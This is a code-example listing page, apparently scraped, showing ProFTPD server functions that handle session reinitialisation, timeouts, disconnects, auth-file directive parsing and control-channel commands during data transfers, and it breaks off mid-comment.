Ejemplo n.º 1
0
MODRET memcache_post_host(cmd_rec *cmd) {

  /* If the HOST command changed the main_server pointer, reinitialize
   * ourselves.
   */
  if (session.prev_server != NULL) {
    int res;
    config_rec *c;

    pr_event_unregister(&memcache_module, "core.exit", mcache_exit_ev);
    (void) close(memcache_logfd);

    c = find_config(session.prev_server->conf, CONF_PARAM, "MemcacheServers",
      FALSE);
    if (c != NULL) {
      memcached_server_st *memcache_servers;

      memcache_servers = c->argv[0];
      memcache_set_servers(memcache_servers);
    }

    /* XXX Restore other memcache settings? */

    res = mcache_sess_init();
    if (res < 0) {
      pr_session_disconnect(&memcache_module,
        PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL);
    }
  }

  return PR_DECLINED(cmd);
}
Ejemplo n.º 2
0
static void mcache_sess_reinit_ev(const void *event_data, void *user_data) {
  int res;
  config_rec *c;

  /* A HOST command changed the main_server pointer, reinitialize ourselves. */

  pr_event_unregister(&memcache_module, "core.exit", mcache_exit_ev);
  pr_event_unregister(&memcache_module, "core.session-reinit",
    mcache_sess_reinit_ev);

  (void) close(memcache_logfd);
  memcache_logfd = -1;

  c = find_config(session.prev_server->conf, CONF_PARAM, "MemcacheServers",
    FALSE);
  if (c != NULL) {
    memcached_server_st *memcache_servers;

    memcache_servers = c->argv[0];
    memcache_set_servers(memcache_servers);
  }

  /* XXX Restore other memcache settings? */
  /* reset MemcacheOptions */
  /* reset MemcacheReplicas */
  /* reset MemcacheTimeout */

  res = mcache_sess_init();
  if (res < 0) {
    pr_session_disconnect(&memcache_module,
      PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL);
  }
}
Ejemplo n.º 3
0
Archivo: data.c Proyecto: flxflx/weasel
/* Called if the "Stalled" timer goes off
 */
static int stalled_timeout_cb(CALLBACK_FRAME) {
  pr_event_generate("core.timeout-stalled", NULL);
  pr_log_pri(PR_LOG_NOTICE, "Data transfer stall timeout: %d seconds",
    timeout_stalled);
  pr_session_disconnect(NULL, PR_SESS_DISCONNECT_TIMEOUT,
    "TimeoutStalled during data transfer");

  /* Prevent compiler warning.
   */
  return 0;
}
Ejemplo n.º 4
0
void sftp_disconnect_conn(uint32_t reason, const char *explain,
    const char *file, int lineno, const char *func) {
  sftp_disconnect_send(reason, explain, file, lineno, func);

#ifdef PR_DEVEL_COREDUMP
  pr_session_end(PR_SESS_END_FL_NOEXIT);
  abort();

#else
  pr_session_disconnect(&sftp_module, PR_SESS_DISCONNECT_BY_APPLICATION, NULL);
#endif /* PR_DEVEL_COREDUMP */
}
Ejemplo n.º 5
0
static void qos_sess_reinit_ev(const void *event_data, void *user_data) {
  int res;

  /* A HOST command changed the main_server pointer, reinitialize ourselves. */

  pr_event_unregister(&qos_module, "core.data-connect", qos_data_connect_ev);
  pr_event_unregister(&qos_module, "core.data-listen", qos_data_listen_ev);
  pr_event_unregister(&qos_module, "core.session-reinit", qos_sess_reinit_ev);

  res = qos_sess_init();
  if (res < 0) {
    pr_session_disconnect(&qos_module,
      PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL);
  }
}
Ejemplo n.º 6
0
void rsync_disconnect(const char *reason, const char *file, int lineno,
    const char *func) {

  if (strlen(func) > 0) {
    pr_trace_msg(trace_channel, 9, "disconnecting (%s) [at %s:%d:%s()]",
      reason, file, lineno, func);

  } else {
    pr_trace_msg(trace_channel, 9, "disconnecting (%s) [at %s:%d]",
      reason, file, lineno);
  }

  pr_session_disconnect(&rsync_module, PR_SESS_DISCONNECT_BY_APPLICATION,
    reason);
}
Ejemplo n.º 7
0
static void wrap_sess_reinit_ev(const void *event_data, void *user_data) {
  int res;

  /* A HOST command changed the main_server pointer; reinitialize ourselves. */

  pr_event_unregister(&wrap_module, "core.session-reinit", wrap_sess_reinit_ev);

  /* Reset defaults */
  wrap_service_name = "proftpd";

  res = wrap_sess_init();
  if (res < 0) {
    pr_session_disconnect(&wrap_module, PR_SESS_DISCONNECT_SESSION_INIT_FAILED,
      NULL);
  }
}
Ejemplo n.º 8
0
cmd_rec *proxy_ftp_ctrl_recv_cmd(pool *p, conn_t *ctrl_conn) {
    cmd_rec *cmd = NULL;

    while (TRUE) {
        int res;

        pr_signals_handle();

        res = pr_cmd_read(&cmd);
        if (res < 0) {
            if (PR_NETIO_ERRNO(session.c->instrm) == EINTR) {
                continue;
            }
        }

        /* EOF */
        pr_session_disconnect(&proxy_module, PR_SESS_DISCONNECT_CLIENT_EOF, NULL);
    }

    return cmd;
}
Ejemplo n.º 9
0
int proxy_conn_connect_timeout_cb(CALLBACK_FRAME) {
  struct proxy_session *proxy_sess;
  pr_netaddr_t *server_addr;

  proxy_sess = pr_table_get(session.notes, "mod_proxy.proxy-session", NULL);
  server_addr = pr_table_get(session.notes, "mod_proxy.proxy-connect-address",
    NULL);

  (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
    "timed out connecting to %s:%d after %d %s",
    pr_netaddr_get_ipstr(server_addr), ntohs(pr_netaddr_get_port(server_addr)),
    proxy_sess->connect_timeout,
    proxy_sess->connect_timeout != 1 ? "seconds" : "second");

  pr_event_generate("mod_proxy.timeout-connect", NULL);

  pr_log_pri(PR_LOG_NOTICE, "%s", "Connect timed out, disconnected");
  pr_session_disconnect(&proxy_module, PR_SESS_DISCONNECT_TIMEOUT,
    "ProxyTimeoutConnect");

  /* Do not restart the timer (should never be reached). */
  return 0;
}
Ejemplo n.º 10
0
/* usage: AuthGroupFile path [id <min-max>] [name <regex>] */
MODRET set_authgroupfile(cmd_rec *cmd) {
  config_rec *c = NULL;
  authfile_file_t *file = NULL;
  int flags = 0;

#ifdef PR_USE_REGEX
  if (cmd->argc-1 < 1 ||
      cmd->argc-1 > 5) {
#else
  if (cmd->argc-1 < 1 ||
      cmd->argc-1 > 2) {
#endif /* regex support */
    CONF_ERROR(cmd, "wrong number of parameters");
  }

  CHECK_CONF(cmd, CONF_ROOT|CONF_VIRTUAL|CONF_GLOBAL);

  if (*(cmd->argv[1]) != '/') {
    CONF_ERROR(cmd, pstrcat(cmd->tmp_pool,
      "unable to use relative path for ", cmd->argv[0], " '",
      cmd->argv[1], "'.", NULL));
  }

  /* Make sure the configured file has the correct permissions.  Note that
   * AuthGroupFiles, unlike AuthUserFiles, do not contain any sensitive
   * information, and can thus be world-readable.
   */
  flags = PR_AUTH_FILE_FL_ALLOW_WORLD_READABLE;
  if (af_check_file(cmd->tmp_pool, cmd->argv[0], cmd->argv[1], flags) < 0) {
    CONF_ERROR(cmd, pstrcat(cmd->tmp_pool,
      "unable to use ", cmd->argv[1], ": ", strerror(errno), NULL));
  }

  c = add_config_param(cmd->argv[0], 1, NULL);

  file = pcalloc(c->pool, sizeof(authfile_file_t));
  file->af_path = pstrdup(c->pool, cmd->argv[1]);
  c->argv[0] = (void *) file;

  /* Check for restrictions */
  if (cmd->argc-1 != 1) {
    register unsigned int i = 0;

    for (i = 2; i < cmd->argc; i++) {
      if (strncmp(cmd->argv[i], "id", 3) == 0) {
        gid_t min, max;
        char *sep = NULL, *tmp = NULL;

        /* The range restriction parameter is of the form "min-max", where max
         * must be >= min.
         */

        sep = strchr(cmd->argv[++i], '-');
        if (sep == NULL) {
          CONF_ERROR(cmd, "badly formatted ID restriction parameter");
        }

        *sep = '\0';

        min = strtol(cmd->argv[i], &tmp, 10);
        if (tmp && *tmp) {
          CONF_ERROR(cmd, "badly formatted minimum ID");
        }

        tmp = NULL;

        max = strtol(sep+1, &tmp, 10);
        if (tmp && *tmp) {
          CONF_ERROR(cmd, "badly formatted maximum ID");
        }

        if (min > max) {
          CONF_ERROR(cmd, "minimum cannot be larger than maximum");
        }

        file->af_min_id.gid = min;
        file->af_max_id.gid = max;
        file->af_restricted_ids = TRUE;

#ifdef PR_USE_REGEX
      } else if (strncmp(cmd->argv[i], "name", 5) == 0) {
        char *filter = cmd->argv[++i];
        pr_regex_t *pre = NULL;
        int res = 0;

        pre = pr_regexp_alloc(&auth_file_module);

        /* Check for a ! negation/inversion filter prefix. */
        if (*filter == '!') {
          filter++;
          file->af_name_regex_inverted = TRUE;
        }

        res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB);
        if (res != 0) {
          char errstr[200] = {'\0'};

          pr_regexp_error(res, pre, errstr, sizeof(errstr));
          pr_regexp_free(NULL, pre);

          CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed "
            "regex compilation: ", errstr, NULL));
        }

        file->af_name_filter = pstrdup(c->pool, cmd->argv[i]);
        file->af_name_regex = pre;
        file->af_restricted_names = TRUE;
#endif /* regex support */

      } else {
        CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, ": unknown restriction '",
          cmd->argv[i], "'", NULL));
      }
    }
  }

  return PR_HANDLED(cmd);
}

/* usage: AuthUserFile path [home <regexp>] [id <min-max>] [name <regex>] */
MODRET set_authuserfile(cmd_rec *cmd) {
  config_rec *c = NULL;
  authfile_file_t *file = NULL;
  int flags = 0;

#ifdef PR_USE_REGEX
  if (cmd->argc-1 < 1 ||
      cmd->argc-1 > 7) {
#else
  if (cmd->argc-1 < 1 ||
      cmd->argc-1 > 2) {
#endif /* regex support */
    CONF_ERROR(cmd, "wrong number of parameters");
  }

  CHECK_CONF(cmd, CONF_ROOT|CONF_VIRTUAL|CONF_GLOBAL);

  if (*(cmd->argv[1]) != '/') {
    CONF_ERROR(cmd, pstrcat(cmd->tmp_pool,
      "unable to use relative path for ", cmd->argv[0], " '",
      cmd->argv[1], "'.", NULL));
  }

  /* Make sure the configured file has the correct permissions.  Note that
   * AuthUserFiles, unlike AuthGroupFiles, DO contain any sensitive
   * information, and thus CANNOT be world-readable.
   */
  flags = 0;
  if (af_check_file(cmd->tmp_pool, cmd->argv[0], cmd->argv[1], flags) < 0) {
    CONF_ERROR(cmd, pstrcat(cmd->tmp_pool,
      "unable to use ", cmd->argv[1], ": ", strerror(errno), NULL));
  }

  c = add_config_param(cmd->argv[0], 1, NULL);

  file = pcalloc(c->pool, sizeof(authfile_file_t));
  file->af_path = pstrdup(c->pool, cmd->argv[1]);
  c->argv[0] = (void *) file;

  /* Check for restrictions */
  if (cmd->argc-1 != 1) {
    register unsigned int i = 0;

    for (i = 2; i < cmd->argc; i++) {
      if (strncmp(cmd->argv[i], "id", 3) == 0) {
        uid_t min, max;
        char *sep = NULL, *tmp = NULL;

        /* The range restriction parameter is of the form "min-max", where max
         * must be >= min.
         */

        sep = strchr(cmd->argv[++i], '-');
        if (sep == NULL) {
          CONF_ERROR(cmd, "badly formatted ID restriction parameter");
        }

        *sep = '\0';

        min = strtol(cmd->argv[i], &tmp, 10);
        if (tmp && *tmp) {
          CONF_ERROR(cmd, "badly formatted minimum ID");
        }

        tmp = NULL;

        max = strtol(sep+1, &tmp, 10);

        if (tmp && *tmp) {
          CONF_ERROR(cmd, "badly formatted maximum ID");
        }

        if (min > max) {
          CONF_ERROR(cmd, "minimum cannot be larger than maximum");
        }

        file->af_min_id.uid = min;
        file->af_max_id.uid = max;
        file->af_restricted_ids = TRUE;

#ifdef PR_USE_REGEX
      } else if (strncmp(cmd->argv[i], "home", 5) == 0) {
        char *filter = cmd->argv[++i];
        pr_regex_t *pre = NULL;
        int res = 0;

        pre = pr_regexp_alloc(&auth_file_module);

        /* Check for a ! negation/inversion filter prefix. */
        if (*filter == '!') {
          filter++;
          file->af_home_regex_inverted = TRUE;
        }

        res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB);
        if (res != 0) {
          char errstr[200] = {'\0'};

          pr_regexp_error(res, pre, errstr, sizeof(errstr));
          pr_regexp_free(NULL, pre);

          CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed "
            "regex compilation: ", errstr, NULL));
        }

        file->af_home_filter = pstrdup(c->pool, cmd->argv[i]);
        file->af_home_regex = pre;
        file->af_restricted_homes = TRUE;

      } else if (strncmp(cmd->argv[i], "name", 5) == 0) {
        char *filter = cmd->argv[++i];
        pr_regex_t *pre = NULL;
        int res = 0;

        pre = pr_regexp_alloc(&auth_file_module);

        /* Check for a ! negation/inversion filter prefix. */
        if (*filter == '!') {
          filter++;
          file->af_name_regex_inverted = TRUE;
        }

        res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB);
        if (res != 0) {
          char errstr[200] = {'\0'};

          pr_regexp_error(res, pre, errstr, sizeof(errstr));
          pr_regexp_free(NULL, pre);

          CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed "
            "regex compilation: ", errstr, NULL));
        }

        file->af_name_filter = pstrdup(c->pool, cmd->argv[i]);
        file->af_name_regex = pre;
        file->af_restricted_names = TRUE;
#endif /* regex support */

      } else {
        CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, ": unknown restriction '",
          cmd->argv[i], "'", NULL));
      }
    }
  }

  return PR_HANDLED(cmd);
}

/* Command handlers
 */

MODRET authfile_post_host(cmd_rec *cmd) {

  /* If the HOST command changed the main_server pointer, reinitialize
   * ourselves.
   */
  if (session.prev_server != NULL) {
    int res;

    af_user_file = NULL;
    af_group_file = NULL;

    res = authfile_sess_init();
    if (res < 0) {
      pr_session_disconnect(&auth_file_module,
        PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL);
    }
  }

  return PR_DECLINED(cmd);
}

/* Initialization routines
 */

static int authfile_init(void) {
  const char *key, *salt, *hash;

  /* On some Unix platforms, giving crypt(3) an empty string for the salt,
   * no matter what the input key, results in an empty string being returned.
   * (The salt string is what is obtained from the AuthUserFile that has been
   * configured.)
   *
   * On other platforms, given crypt(3) a real key and an empty string for
   * the salt returns in a real string.  (I'm looking at you, Mac OSX.)
   *
   * Thus in order to handle the edge case of an AuthUserFile with a passwd
   * field being empty the same on such differing platforms, we perform a
   * runtime check (at startup), to see how crypt(3) behaves -- and then
   * preserve the principle of least surprise appropriately.
   */

  key = "key";
  salt = "";
  hash = crypt(key, salt);
  if (hash != NULL) {
    if (strcmp(hash, "") != 0) {
      /* We're probably on a Mac OSX or similar platform. */
      handle_empty_salt = TRUE;
    }
  }

  return 0;
}

static int authfile_sess_init(void) {
  config_rec *c = NULL;

  c = find_config(main_server->conf, CONF_PARAM, "AuthUserFile", FALSE);
  if (c) {
    af_user_file = c->argv[0];
  }

  c = find_config(main_server->conf, CONF_PARAM, "AuthGroupFile", FALSE);
  if (c) {
    af_group_file = c->argv[0];
  }

  return 0;
}
Ejemplo n.º 11
0
/* usage: AuthGroupFile path [id <min-max>] [name <regex>] */
MODRET set_authgroupfile(cmd_rec *cmd) {
  config_rec *c = NULL;
  authfile_file_t *file = NULL;
  int flags = 0;
  char *path;

#ifdef PR_USE_REGEX
  if (cmd->argc-1 < 1 ||
      cmd->argc-1 > 5) {
#else
  if (cmd->argc-1 < 1 ||
      cmd->argc-1 > 2) {
#endif /* regex support */
    CONF_ERROR(cmd, "wrong number of parameters");
  }

  CHECK_CONF(cmd, CONF_ROOT|CONF_VIRTUAL|CONF_GLOBAL);

  path = cmd->argv[1];
  if (*path != '/') {
    CONF_ERROR(cmd, pstrcat(cmd->tmp_pool,
      "unable to use relative path for ", (char *) cmd->argv[0], " '",
      path, "'.", NULL));
  }

  /* Make sure the configured file has the correct permissions.  Note that
   * AuthGroupFiles, unlike AuthUserFiles, do not contain any sensitive
   * information, and can thus be world-readable.
   */
  flags = PR_AUTH_FILE_FL_ALLOW_WORLD_READABLE;
  if (af_check_file(cmd->tmp_pool, cmd->argv[0], cmd->argv[1], flags) < 0) {
    CONF_ERROR(cmd, pstrcat(cmd->tmp_pool,
      "unable to use ", path, ": ", strerror(errno), NULL));
  }

  c = add_config_param(cmd->argv[0], 1, NULL);

  file = pcalloc(c->pool, sizeof(authfile_file_t));
  file->af_path = pstrdup(c->pool, path);
  c->argv[0] = (void *) file;

  /* Check for restrictions */
  if (cmd->argc-1 != 1) {
    register unsigned int i = 0;

    for (i = 2; i < cmd->argc; i++) {
      if (strncmp(cmd->argv[i], "id", 3) == 0) {
        gid_t min, max;
        char *sep = NULL, *tmp = NULL;

        /* The range restriction parameter is of the form "min-max", where max
         * must be >= min.
         */

        sep = strchr(cmd->argv[++i], '-');
        if (sep == NULL) {
          CONF_ERROR(cmd, "badly formatted ID restriction parameter");
        }

        *sep = '\0';

        min = strtol(cmd->argv[i], &tmp, 10);
        if (tmp && *tmp) {
          CONF_ERROR(cmd, "badly formatted minimum ID");
        }

        tmp = NULL;

        max = strtol(sep+1, &tmp, 10);
        if (tmp && *tmp) {
          CONF_ERROR(cmd, "badly formatted maximum ID");
        }

        if (min > max) {
          CONF_ERROR(cmd, "minimum cannot be larger than maximum");
        }

        file->af_min_id.gid = min;
        file->af_max_id.gid = max;
        file->af_restricted_ids = TRUE;

#ifdef PR_USE_REGEX
      } else if (strncmp(cmd->argv[i], "name", 5) == 0) {
        char *filter = cmd->argv[++i];
        pr_regex_t *pre = NULL;
        int res = 0;

        pre = pr_regexp_alloc(&auth_file_module);

        /* Check for a ! negation/inversion filter prefix. */
        if (*filter == '!') {
          filter++;
          file->af_name_regex_inverted = TRUE;
        }

        res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB);
        if (res != 0) {
          char errstr[200] = {'\0'};

          pr_regexp_error(res, pre, errstr, sizeof(errstr));
          pr_regexp_free(NULL, pre);

          CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed "
            "regex compilation: ", errstr, NULL));
        }

        file->af_name_filter = pstrdup(c->pool, cmd->argv[i]);
        file->af_name_regex = pre;
        file->af_restricted_names = TRUE;
#endif /* regex support */

      } else {
        CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, ": unknown restriction '",
          cmd->argv[i], "'", NULL));
      }
    }
  }

  return PR_HANDLED(cmd);
}

/* usage: AuthUserFile path [home <regexp>] [id <min-max>] [name <regex>] */
MODRET set_authuserfile(cmd_rec *cmd) {
  config_rec *c = NULL;
  authfile_file_t *file = NULL;
  int flags = 0;
  char *path;

#ifdef PR_USE_REGEX
  if (cmd->argc-1 < 1 ||
      cmd->argc-1 > 7) {
#else
  if (cmd->argc-1 < 1 ||
      cmd->argc-1 > 2) {
#endif /* regex support */
    CONF_ERROR(cmd, "wrong number of parameters");
  }

  CHECK_CONF(cmd, CONF_ROOT|CONF_VIRTUAL|CONF_GLOBAL);

  path = cmd->argv[1];
  if (*path != '/') {
    CONF_ERROR(cmd, pstrcat(cmd->tmp_pool,
      "unable to use relative path for ", (char *) cmd->argv[0], " '",
      path, "'.", NULL));
  }

  /* Make sure the configured file has the correct permissions.  Note that
   * AuthUserFiles, unlike AuthGroupFiles, DO contain any sensitive
   * information, and thus CANNOT be world-readable.
   */
  flags = 0;
  if (af_check_file(cmd->tmp_pool, cmd->argv[0], cmd->argv[1], flags) < 0) {
    CONF_ERROR(cmd, pstrcat(cmd->tmp_pool,
      "unable to use ", path, ": ", strerror(errno), NULL));
  }

  c = add_config_param(cmd->argv[0], 1, NULL);

  file = pcalloc(c->pool, sizeof(authfile_file_t));
  file->af_path = pstrdup(c->pool, path);
  c->argv[0] = (void *) file;

  /* Check for restrictions */
  if (cmd->argc-1 != 1) {
    register unsigned int i = 0;

    for (i = 2; i < cmd->argc; i++) {
      if (strncmp(cmd->argv[i], "id", 3) == 0) {
        uid_t min, max;
        char *sep = NULL, *tmp = NULL;

        /* The range restriction parameter is of the form "min-max", where max
         * must be >= min.
         */

        sep = strchr(cmd->argv[++i], '-');
        if (sep == NULL) {
          CONF_ERROR(cmd, "badly formatted ID restriction parameter");
        }

        *sep = '\0';

        min = strtol(cmd->argv[i], &tmp, 10);
        if (tmp && *tmp) {
          CONF_ERROR(cmd, "badly formatted minimum ID");
        }

        tmp = NULL;

        max = strtol(sep+1, &tmp, 10);

        if (tmp && *tmp) {
          CONF_ERROR(cmd, "badly formatted maximum ID");
        }

        if (min > max) {
          CONF_ERROR(cmd, "minimum cannot be larger than maximum");
        }

        file->af_min_id.uid = min;
        file->af_max_id.uid = max;
        file->af_restricted_ids = TRUE;

#ifdef PR_USE_REGEX
      } else if (strncmp(cmd->argv[i], "home", 5) == 0) {
        char *filter = cmd->argv[++i];
        pr_regex_t *pre = NULL;
        int res = 0;

        pre = pr_regexp_alloc(&auth_file_module);

        /* Check for a ! negation/inversion filter prefix. */
        if (*filter == '!') {
          filter++;
          file->af_home_regex_inverted = TRUE;
        }

        res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB);
        if (res != 0) {
          char errstr[200] = {'\0'};

          pr_regexp_error(res, pre, errstr, sizeof(errstr));
          pr_regexp_free(NULL, pre);

          CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed "
            "regex compilation: ", errstr, NULL));
        }

        file->af_home_filter = pstrdup(c->pool, cmd->argv[i]);
        file->af_home_regex = pre;
        file->af_restricted_homes = TRUE;

      } else if (strncmp(cmd->argv[i], "name", 5) == 0) {
        char *filter = cmd->argv[++i];
        pr_regex_t *pre = NULL;
        int res = 0;

        pre = pr_regexp_alloc(&auth_file_module);

        /* Check for a ! negation/inversion filter prefix. */
        if (*filter == '!') {
          filter++;
          file->af_name_regex_inverted = TRUE;
        }

        res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB);
        if (res != 0) {
          char errstr[200] = {'\0'};

          pr_regexp_error(res, pre, errstr, sizeof(errstr));
          pr_regexp_free(NULL, pre);

          CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed "
            "regex compilation: ", errstr, NULL));
        }

        file->af_name_filter = pstrdup(c->pool, cmd->argv[i]);
        file->af_name_regex = pre;
        file->af_restricted_names = TRUE;
#endif /* regex support */

      } else {
        CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, ": unknown restriction '",
          cmd->argv[i], "'", NULL));
      }
    }
  }

  return PR_HANDLED(cmd);
}

/* Event listeners
 */

static void authfile_sess_reinit_ev(const void *event_data, void *user_data) {
  int res;

  /* A HOST command changed the main_server pointer, reinitialize ourselves. */

  pr_event_unregister(&auth_file_module, "core.session-reinit",
    authfile_sess_reinit_ev);

  af_user_file = NULL;
  af_group_file = NULL;

  res = authfile_sess_init();
  if (res < 0) {
    pr_session_disconnect(&auth_file_module,
      PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL);
  }
}
Ejemplo n.º 12
0
Archivo: data.c Proyecto: flxflx/weasel
int pr_data_xfer(char *cl_buf, int cl_size) {
  int len = 0;
  int total = 0;
  int res = 0;

  /* Poll the control channel for any commands we should handle, like
   * QUIT or ABOR.
   */
  pr_trace_msg(trace_channel, 4, "polling for commands on control channel");
  pr_netio_set_poll_interval(session.c->instrm, 0);
  res = pr_netio_poll(session.c->instrm);
  pr_netio_reset_poll_interval(session.c->instrm);

  if (res == 0 &&
      !(session.sf_flags & SF_ABORT)) {
    cmd_rec *cmd = NULL;

    pr_trace_msg(trace_channel, 1,
      "data available for reading on control channel during data transfer, "
      "reading control data");
    res = pr_cmd_read(&cmd);
    if (res < 0) {
      int xerrno;
#if defined(ECONNABORTED)
      xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
      xerrno = ENOTCONN;
#else
      xerrno = EIO;
#endif

      pr_trace_msg(trace_channel, 1,
        "unable to read control command during data transfer: %s",
        strerror(xerrno));
      errno = xerrno;

#ifndef PR_DEVEL_NO_DAEMON
      /* Otherwise, EOF */
      pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL);
#else
      return -1;
#endif /* PR_DEVEL_NO_DAEMON */

    } else if (cmd != NULL) {
      char *ch;

      for (ch = cmd->argv[0]; *ch; ch++)
        *ch = toupper(*ch);

      cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]);

      /* Only handle commands which do not involve data transfers; we
       * already have a data transfer in progress.  For any data transfer
       * command, send a 450 ("busy") reply.  Looks like almost all of the
       * data transfer commands accept that response, as per RFC959.
       *
       * We also prevent the EPRT, EPSV, PASV, and PORT commands, since
       * they will also interfere with the current data transfer.  In doing
       * so, we break RFC compliance a little; RFC959 does not allow a
       * response code of 450 for those commands (although it should).
       */
      if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, denying",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add_err(R_450, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_err_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      /* We don't want to actually dispatch the NOOP command, since that
       * would overwrite the scoreboard with the NOOP state; admins probably
       * want to see the command that caused the data transfer.  And since
       * NOOP doesn't take a 450 response (as per RFC959), we will simply
       * return 200.
       */
      } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, ignoring",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add(R_200, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      } else {
        char *title_buf = NULL;
        int title_len = -1;
        const char *sce_cmd = NULL, *sce_cmd_arg = NULL;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, dispatching",
          cmd->argv[0]);

        title_len = pr_proctitle_get(NULL, 0);
        if (title_len > 0) {
          title_buf = pcalloc(cmd->pool, title_len + 1);
          pr_proctitle_get(title_buf, title_len + 1); 
        }

        sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD);
        sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG);

        pr_cmd_dispatch(cmd);

        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL);
        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL);

        if (title_len > 0) {
          pr_proctitle_set_str(title_buf);
        }

        destroy_pool(cmd->pool);
      }

    } else {
      pr_trace_msg(trace_channel, 3,
        "invalid command sent, sending error response");
      pr_response_send(R_500, _("Invalid command: try being more creative"));
    }
  }

  /* If we don't have a data connection here (e.g. might have been closed
   * by an ABOR, then return zero (no data transferred).
   */
  if (session.d == NULL) {
    int xerrno;

#if defined(ECONNABORTED)
    xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
    xerrno = ENOTCONN;
#else
    xerrno = EIO;
#endif

    pr_trace_msg(trace_channel, 1,
      "data connection is null prior to data transfer (possibly from "
      "aborted transfer), returning '%s' error", strerror(xerrno));
    pr_log_debug(DEBUG5, 
      "data connection is null prior to data transfer (possibly from "
       "aborted transfer), returning '%s' error", strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    char *buf = session.xfer.buf;
    pr_buffer_t *pbuf;

    if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
      int adjlen, buflen;

      do {
        buflen = session.xfer.buflen;        /* how much remains in buf */
        adjlen = 0;

        pr_signals_handle();

        len = pr_netio_read(session.d->instrm, buf + buflen,
          session.xfer.bufsize - buflen, 1);
        if (len < 0)
          return -1;

        /* Before we process the data read from the client, generate an event
         * for any listeners which may want to examine this data.
         */

        pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
        pbuf->buf = buf;
        pbuf->buflen = len;
        pbuf->current = pbuf->buf;
        pbuf->remaining = 0;

        pr_event_generate("core.data-read", pbuf);

        /* The event listeners may have changed the data to write out. */
        buf = pbuf->buf;
        len = pbuf->buflen - pbuf->remaining;

        if (len > 0) {
          buflen += len;

          if (timeout_stalled) {
            pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
          }
        }

        /* If buflen > 0, data remains in the buffer to be copied. */
        if (len >= 0 &&
            buflen > 0) {

          /* Perform translation:
           *
           * buflen is returned as the modified buffer length after
           *        translation
           * adjlen is returned as the number of characters unprocessed in
           *        the buffer (to be dealt with later)
           *
           * We skip the call to xfrm_ascii_read() in one case:
           * when we have one character in the buffer and have reached
           * end of data, this is so that xfrm_ascii_read() won't sit
           * forever waiting for the next character after a final '\r'.
           */
          if (len > 0 || buflen > 1)
            xfrm_ascii_read(buf, &buflen, &adjlen);
	
          /* Now copy everything we can into cl_buf */
          if (buflen > cl_size) {
            /* Because we have to cut our buffer short, make sure this
             * is made up for later by increasing adjlen.
             */
            adjlen += (buflen - cl_size);
            buflen = cl_size;
          }

          memcpy(cl_buf, buf, buflen);

          /* Copy whatever remains at the end of session.xfer.buf to the
           * head of the buffer and adjust buf accordingly.
           *
